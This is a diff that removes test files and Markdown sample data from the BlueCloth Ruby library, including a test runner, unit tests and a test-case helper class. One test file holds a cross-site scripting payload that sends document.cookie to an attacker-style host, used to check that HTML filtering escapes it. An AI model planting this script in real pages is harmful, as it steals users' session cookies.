||||
}
|
||||
|
||||
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
|
||||
$VERBOSE = true
|
||||
debugMsg "Turned verbose on."
|
||||
}
|
||||
|
||||
# Handle the 'help' option
|
||||
oparser.on( "--help", "-h", "Display this text." ) {
|
||||
$stderr.puts oparser
|
||||
exit!(0)
|
||||
}
|
||||
|
||||
oparser.parse!
|
||||
}
|
||||
|
||||
# Parse test patterns
|
||||
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
|
||||
$stderr.puts "#{patterns.length} patterns given on the command line"
|
||||
|
||||
### Load all the tests from the tests dir
|
||||
Find.find("#{$basedir}/tests") {|file|
|
||||
Find.prune if /\/\./ =~ file or /~$/ =~ file
|
||||
Find.prune if /TEMPLATE/ =~ file
|
||||
next if File.stat( file ).directory?
|
||||
|
||||
unless patterns.empty?
|
||||
Find.prune unless patterns.find {|pat| pat =~ file}
|
||||
end
|
||||
|
||||
debugMsg "Considering '%s': " % file
|
||||
next unless file =~ /\.tests.rb$/
|
||||
debugMsg "Requiring '%s'..." % file
|
||||
require "#{file}"
|
||||
requires << file
|
||||
}
|
||||
|
||||
$stderr.puts "Required #{requires.length} files."
|
||||
unless patterns.empty?
|
||||
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
|
||||
end
|
||||
|
||||
# Build the test suite
|
||||
class BlueClothTests
|
||||
class << self
|
||||
def suite
|
||||
suite = Test::Unit::TestSuite.new( "BlueCloth" )
|
||||
|
||||
if suite.respond_to?( :add )
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite.add( klass.suite ) if klass < BlueCloth::TestCase
|
||||
}
|
||||
else
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite << klass.suite if klass < BlueCloth::TestCase
|
||||
}
|
||||
end
|
||||
|
||||
return suite
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Run tests
|
||||
$SAFE = safelevel
|
||||
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
|
||||
|
||||
|
||||
|
||||
|
@ -1,71 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for the BlueCloth class object
|
||||
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class BlueClothClassTestCase < BlueCloth::TestCase
|
||||
|
||||
TestString = "foo"
|
||||
|
||||
def test_00_class_constant
|
||||
printTestHeader "BlueCloth: Class Constant"
|
||||
|
||||
assert Object::constants.include?( "BlueCloth" ),
|
||||
"No BlueCloth constant in Object"
|
||||
assert_instance_of Class, BlueCloth
|
||||
end
|
||||
|
||||
def test_01_instantiation
|
||||
printTestHeader "BlueCloth: Instantiation"
|
||||
rval = nil
|
||||
|
||||
# With no argument... ("")
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal "", rval
|
||||
|
||||
# String argument
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new TestString
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
|
||||
addSetupBlock {
|
||||
debugMsg "Creating a new BlueCloth"
|
||||
@obj = BlueCloth::new( TestString )
|
||||
}
|
||||
addTeardownBlock {
|
||||
@obj = nil
|
||||
}
|
||||
end
|
||||
|
||||
def test_02_duplication
|
||||
printTestHeader "BlueCloth: Duplication"
|
||||
rval = nil
|
||||
|
||||
assert_nothing_raised {
|
||||
rval = @obj.dup
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,57 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for bugs found in BlueCloth
|
||||
# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
require 'timeout'
|
||||
|
||||
### This test case tests ...
|
||||
class BugsTestCase < BlueCloth::TestCase
|
||||
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
||||
|
||||
### Test to be sure the README file can be transformed.
|
||||
def test_00_slow_block_regex
|
||||
contents = File::read( File::join(BaseDir,"README") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
timeout( 2 ) do
|
||||
bcobj.to_html
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
### :TODO: Add more documents and test their transforms.
|
||||
|
||||
def test_10_regexp_engine_overflow_bug
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
def test_15_regexp_engine_overflow_bug2
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
__END__
|
||||
|
@ -1,132 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for contributed features
|
||||
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class ContribTestCase < BlueCloth::TestCase
|
||||
|
||||
DangerousHtml =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
DangerousHtmlOutput =
|
||||
"<p><script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
||||
DangerousStylesOutput =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
NoLessThanHtml = "Foo is definitely > than bar"
|
||||
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
||||
|
||||
|
||||
### HTML filter options contributed by Florian Gross.
|
||||
|
||||
### Test the :filter_html restriction
|
||||
def test_10_filter_html
|
||||
printTestHeader "filter_html Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
|
||||
# Test setting it in a sub-array
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
end
|
||||
|
||||
|
||||
### Test the :filter_styles restriction
|
||||
def test_20_filter_styles
|
||||
printTestHeader "filter_styles Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
# Test setting it in a subarray
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
end
|
||||
|
||||
|
||||
### Test to be sure filtering when there's no opening angle brackets doesn't
|
||||
### die.
|
||||
def test_30_filter_no_less_than
|
||||
printTestHeader "filter without a less-than"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal NoLessThanOutput, rval
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
@ -1,274 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# This is an abstract test case class for building Test::Unit unit tests for the
|
||||
# BlueCloth module. It consolidates most of the maintenance work that must be
|
||||
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
||||
# as adding some other useful methods that make building, maintaining, and using
|
||||
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
||||
# more info on the particulars of unit testing.
|
||||
#
|
||||
# == Synopsis
|
||||
#
|
||||
# # Allow the test to be run from anywhere:
|
||||
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
# basedir = File::dirname( __FILE__ )
|
||||
# require File::join( basedir, 'bctestcase' )
|
||||
# end
|
||||
#
|
||||
# class MySomethingTest < BlueCloth::TestCase
|
||||
# def setup
|
||||
# super()
|
||||
# @foo = 'bar'
|
||||
# end
|
||||
#
|
||||
# def test_00_something
|
||||
# obj = nil
|
||||
# assert_nothing_raised { obj = MySomething::new }
|
||||
# assert_instance_of MySomething, obj
|
||||
# assert_respond_to :myMethod, obj
|
||||
# end
|
||||
#
|
||||
# end
|
||||
#
|
||||
# == Rcsid
|
||||
#
|
||||
# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
|
||||
#
|
||||
# == Authors
|
||||
#
|
||||
# * Michael Granger <ged@FaerieMUD.org>
|
||||
#
|
||||
#:include: COPYRIGHT
|
||||
#
|
||||
#---
|
||||
#
|
||||
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
||||
#
|
||||
|
||||
$DebugPattern ||= nil
|
||||
|
||||
begin
|
||||
basedir = File::dirname( File::dirname(__FILE__) )
|
||||
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
||||
$LOAD_PATH.unshift "#{basedir}/lib"
|
||||
end
|
||||
end
|
||||
|
||||
require "test/unit"
|
||||
require "bluecloth"
|
||||
|
||||
|
||||
class BlueCloth
|
||||
|
||||
### The abstract base class for BlueCloth test cases.
|
||||
class TestCase < Test::Unit::TestCase
|
||||
|
||||
@methodCounter = 0
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
class << self
|
||||
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
||||
end
|
||||
|
||||
|
||||
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
||||
### and accessors to the inheriting class.
|
||||
def self::inherited( klass )
|
||||
klass.module_eval {
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
|
||||
class << self
|
||||
attr_accessor :setupBlocks, :teardownBlocks
|
||||
end
|
||||
}
|
||||
klass.methodCounter = 0
|
||||
end
|
||||
|
||||
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
||||
def self::debugMsg( *msgs )
|
||||
return unless $DEBUG
|
||||
self.message "DEBUG>>> %s" % msgs.join('')
|
||||
end
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDOUT</tt>.
|
||||
def self::message( *msgs )
|
||||
$stderr.puts msgs.join('')
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
|
||||
### Add a setup block for the current testcase
|
||||
def self::addSetupBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "setup_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.setupBlocks.push newMethodName
|
||||
end
|
||||
|
||||
### Add a teardown block for the current testcase
|
||||
def self::addTeardownBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "teardown_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.teardownBlocks.unshift newMethodName
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### I N S T A N C E M E T H O D S
|
||||
#############################################################
|
||||
|
||||
### A dummy test method to allow this Test::Unit::TestCase to be
|
||||
### subclassed without complaining about the lack of tests.
|
||||
def test_0_dummy
|
||||
end
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def setup( *args )
|
||||
self.class.setupBlocks.each {|sblock|
|
||||
debugMsg "Calling setup block method #{sblock}"
|
||||
self.send( sblock )
|
||||
}
|
||||
super( *args )
|
||||
end
|
||||
alias_method :set_up, :setup
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def teardown( *args )
|
||||
super( *args )
|
||||
self.class.teardownBlocks.each {|tblock|
|
||||
debugMsg "Calling teardown block method #{tblock}"
|
||||
self.send( tblock )
|
||||
}
|
||||
end
|
||||
alias_method :tear_down, :teardown
|
||||
|
||||
|
||||
### Skip the current step (called from #setup) with the +reason+ given.
|
||||
def skip( reason=nil )
|
||||
if reason
|
||||
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
||||
else
|
||||
msg = "Skipping %s: No reason given." % @method_name
|
||||
end
|
||||
|
||||
$stderr.puts( msg ) if $VERBOSE
|
||||
@method_name = :skipped_test
|
||||
end
|
||||
|
||||
|
||||
def skipped_test # :nodoc:
|
||||
end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #setup.
|
||||
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #teardown.
|
||||
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method.
|
||||
def message( *msgs )
|
||||
self.class.message( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method
|
||||
def debugMsg( *msgs )
|
||||
self.class.debugMsg( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Output a separator line made up of <tt>length</tt> of the specified
|
||||
### <tt>char</tt>.
|
||||
def writeLine( length=75, char="-" )
|
||||
$stderr.puts "\r" + (char * length )
|
||||
end
|
||||
|
||||
|
||||
### Output a header for delimiting tests
|
||||
def printTestHeader( desc )
|
||||
return unless $VERBOSE || $DEBUG
|
||||
message ">>> %s <<<" % desc
|
||||
end
|
||||
|
||||
|
||||
### Try to force garbage collection to start.
|
||||
def collectGarbage
|
||||
a = []
|
||||
1000.times { a << {} }
|
||||
a = nil
|
||||
GC.start
|
||||
end
|
||||
|
||||
|
||||
### Output the name of the test as it's running if in verbose mode.
|
||||
def run( result )
|
||||
$stderr.puts self.name if $VERBOSE || $DEBUG
|
||||
|
||||
# Support debugging for individual tests
|
||||
olddb = nil
|
||||
if $DebugPattern && $DebugPattern =~ @method_name
|
||||
olddb = $DEBUG
|
||||
$DEBUG = true
|
||||
end
|
||||
|
||||
super
|
||||
|
||||
$DEBUG = olddb unless olddb.nil?
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### E X T R A A S S E R T I O N S
|
||||
#############################################################
|
||||
|
||||
### Negative of assert_respond_to
|
||||
def assert_not_respond_to( obj, meth )
|
||||
msg = "%s expected NOT to respond to '%s'" %
|
||||
[ obj.inspect, meth ]
|
||||
assert_block( msg ) {
|
||||
!obj.respond_to?( meth )
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the instance variable specified by +sym+ of an +object+
|
||||
### is equal to the specified +value+. The '@' at the beginning of the
|
||||
### +sym+ will be prepended if not present.
|
||||
def assert_ivar_equal( value, object, sym )
|
||||
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
||||
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
||||
[ sym, object.inspect, value.inspect ]
|
||||
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
||||
assert_block( msg ) {
|
||||
value == object.instance_variable_get(sym)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the specified +object+ has an instance variable which
|
||||
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
||||
### will be prepended if not present.
|
||||
def assert_has_ivar( sym, object )
|
||||
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
||||
msg = "Object <%s> expected to have an instance variable <%s>" %
|
||||
[ object.inspect, sym ]
|
||||
assert_block( msg ) {
|
||||
object.instance_variables.include?( sym.to_s )
|
||||
}
|
||||
end
|
||||
|
||||
end # class TestCase
|
||||
|
||||
end # class BlueCloth
|
||||
|
@ -1,34 +0,0 @@
|
||||
The Ant-Sugar Tales
|
||||
===================
|
||||
|
||||
By Candice Yellowflower
|
||||
|
||||
The _Ant-Sugar Tales_ is a collection of short stories told from the
|
||||
perspective of a fine young lady from [Venice][1], who has some run-ins
|
||||
with a few [inquisitive insects][2]. Each tale presents a moral quandry,
|
||||
which the ants are quick to solve with their antly wisdom and
|
||||
know-how. Some of the moral lessons presented are:
|
||||
|
||||
* Laundry: How not to get caught in soiled knickers.
|
||||
* Used Ticket Stubs and Their Impact on the Universe
|
||||
* I'm Keeping a Birdhouse in my Attic
|
||||
|
||||
Use of Metaphor
|
||||
---------------
|
||||
|
||||
The author's splended use of metaphor can be attributed to her growing
|
||||
up in a art-supply store. Her characters are richly outlined, but her
|
||||
unusual descriptions can sometimes be a bit jarring in places, such as
|
||||
her description of the old caretaker that lives inside a hollow tree in
|
||||
her yard:
|
||||
|
||||
> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
|
||||
> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
|
||||
> Lasur Superb Oil Glazing Brush Size 10.
|
||||
|
||||
|
||||
[1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
|
||||
(Venice: The Grand Canal)
|
||||
[2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
|
||||
|
||||
|
@ -1,17 +0,0 @@
|
||||
Hi,
|
||||
|
||||
I'd like to announce the alpha release of a Markdown library for [Ruby][1]
|
||||
called "BlueCloth". It's mostly a direct port of the most recent Perl version,
|
||||
minus the various plugin hooks and whatnot.
|
||||
|
||||
More information can be found on [the project page][2], or feel free to ask me
|
||||
directly. I don't have much in the way of a demo yet, but will be working on
|
||||
getting something set up in the coming days.
|
||||
|
||||
[1]: http://www.ruby-lang.org/
|
||||
[2]: http://bluecloth.rubyforge.org/
|
||||
|
||||
--
|
||||
Michael Granger <ged@FaerieMUD.org>
|
||||
Rubymage, Believer, Architect
|
||||
The FaerieMUD Consortium <http://www.FaerieMUD.org/>
|
@ -1,67 +0,0 @@
|
||||
* xx xxxxxxx xx xxxxxx.
|
||||
|
||||
* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
|
||||
|
||||
* xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
|
||||
xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
|
||||
xxx xx xxxxxxxxx xx xxxx.
|
||||
|
||||
xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
|
||||
xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
|
||||
|
||||
* xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
|
||||
xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
|
||||
xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
|
||||
|
||||
xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
|
||||
xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
|
||||
xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
|
||||
|
||||
xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
|
||||
xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
|
||||
xxxx xx xxxxxx xxx xxxx.
|
||||
|
||||
* xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
|
||||
xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
|
||||
xxxxxx xxx-xxxx xxxxx.
|
||||
|
||||
xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
|
||||
|
||||
* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
|
||||
xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
|
||||
xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
|
||||
xx xxx xxxxxxxxx xxxx-xxx.
|
||||
|
||||
* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
|
||||
xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
|
||||
xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
|
||||
|
||||
* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
|
||||
xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
|
||||
|
||||
x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
|
||||
xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
|
||||
xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
|
||||
|
||||
* xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
|
||||
xxxxxxxxxx).
|
||||
|
||||
* xxxxxxxxxxx xx xxxx xxxxxxx xxx.
|
||||
|
||||
* xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
|
||||
|
||||
* xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
|
||||
|
||||
* xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
|
||||
|
||||
* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
|
||||
xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
|
||||
xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
|
||||
|
||||
* xx x xxxxx xxxx:
|
||||
|
||||
* xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
|
||||
xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
|
||||
xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
|
||||
-- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
|
||||
xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.
|
@ -1,281 +0,0 @@
|
||||
<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
|
||||
|
||||
## Getting Started
|
||||
|
||||
Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
|
||||
|
||||
Here's what I found:
|
||||
|
||||
* [Writing Plugins for Cocoa][1]
|
||||
|
||||
[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
|
||||
|
||||
## The iPhoto Export API
|
||||
|
||||
Using the `class-dump` tool, I dumped the export API:
|
||||
|
||||
/*
|
||||
* Generated by class-dump 3.0.
|
||||
*
|
||||
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
|
||||
*/
|
||||
|
||||
/*
|
||||
* File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
|
||||
*/
|
||||
|
||||
@protocol ExportImageProtocol
|
||||
- (unsigned int)imageCount;
|
||||
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
|
||||
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
|
||||
- (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
|
||||
- (id)imageCaptionAtIndex:(unsigned int)fp16;
|
||||
- (id)imagePathAtIndex:(unsigned int)fp16;
|
||||
- (id)thumbnailPathAtIndex:(unsigned int)fp16;
|
||||
- (id)imageDictionaryAtIndex:(unsigned int)fp16;
|
||||
- (float)imageAspectRatioAtIndex:(unsigned int)fp16;
|
||||
- (id)albumName;
|
||||
- (id)albumMusicPath;
|
||||
- (unsigned int)albumCount;
|
||||
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
|
||||
- (id)window;
|
||||
- (void)enableControls;
|
||||
- (void)disableControls;
|
||||
- (void)clickExport;
|
||||
- (void)startExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancelExportBeforeBeginning;
|
||||
- (id)directoryPath;
|
||||
- (id)temporaryDirectory;
|
||||
- (BOOL)doesFileExist:(id)fp16;
|
||||
- (BOOL)doesDirectoryExist:(id)fp16;
|
||||
- (BOOL)createDir:(id)fp16;
|
||||
- (id)uniqueSubPath:(id)fp12 child:(id)fp20;
|
||||
- (id)makeUniquePath:(id)fp16;
|
||||
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
|
||||
- (id)makeUniqueFileNameWithTime:(id)fp16;
|
||||
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
|
||||
- (id)pathForFSSpec:(id)fp16;
|
||||
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
|
||||
- (id)pathForFSRef:(struct FSRef *)fp16;
|
||||
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
|
||||
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
|
||||
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
|
||||
- (BOOL)isAliasFileAtPath:(id)fp16;
|
||||
- (id)pathContentOfAliasAtPath:(id)fp16;
|
||||
- (id)stringByResolvingAliasesInPath:(id)fp16;
|
||||
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
|
||||
- (id)validFilename:(id)fp16;
|
||||
- (id)getExtensionForImageFormat:(unsigned int)fp16;
|
||||
- (unsigned int)getImageFormatForExtension:(id)fp16;
|
||||
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
|
||||
- (void *)createThumbnailer;
|
||||
- (void *)retainThumbnailer:(void *)fp16;
|
||||
- (void *)autoreleaseThumbnailer:(void *)fp16;
|
||||
- (void)releaseThumbnailer:(void *)fp16;
|
||||
